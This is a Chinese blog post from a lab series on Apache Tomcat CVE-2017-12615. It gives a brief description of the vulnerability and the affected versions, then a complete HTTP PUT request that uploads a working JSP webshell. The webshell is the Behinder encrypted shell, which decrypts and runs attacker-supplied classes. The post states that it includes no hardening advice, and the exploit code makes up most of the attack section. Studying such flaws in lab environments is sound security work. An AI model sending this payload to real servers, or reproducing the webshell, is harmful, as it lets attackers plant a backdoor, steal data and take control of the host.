Tomcat 任意写入文件漏洞（CVE-2017-12615）

一颗小黑橙

已于 2024-03-29 15:16:15 修改

阅读量215

点赞数 2

分类专栏：靶场计划文章标签： tomcat

于 2024-03-29 15:02:44 首次发布

本文链接：https://blog.csdn.net/xnrjyswy/article/details/137144942

版权

靶场计划专栏收录该内容

5 篇文章 0 订阅

订阅专栏

一、漏洞描述

Tomcat 是一个小型的轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件，JSP文件中的恶意代码将能被服务器执行，导致服务器上的数据泄露或获取服务器权限。（本篇文章不包含加固建议）

二、影响版本

此漏洞影响Windows平台下的Apache Tomcat 7.x版本，目前已在Apache Tomcat 7.0.81中修复。

（但本次靶场环境好像是8.5.19啊...啊这）

三、POC

（payload是冰蝎自带的小作文，需要修改HOST头）

PUT /1.jsp/ HTTP/1.1
Host: IP:PORT
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 611

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>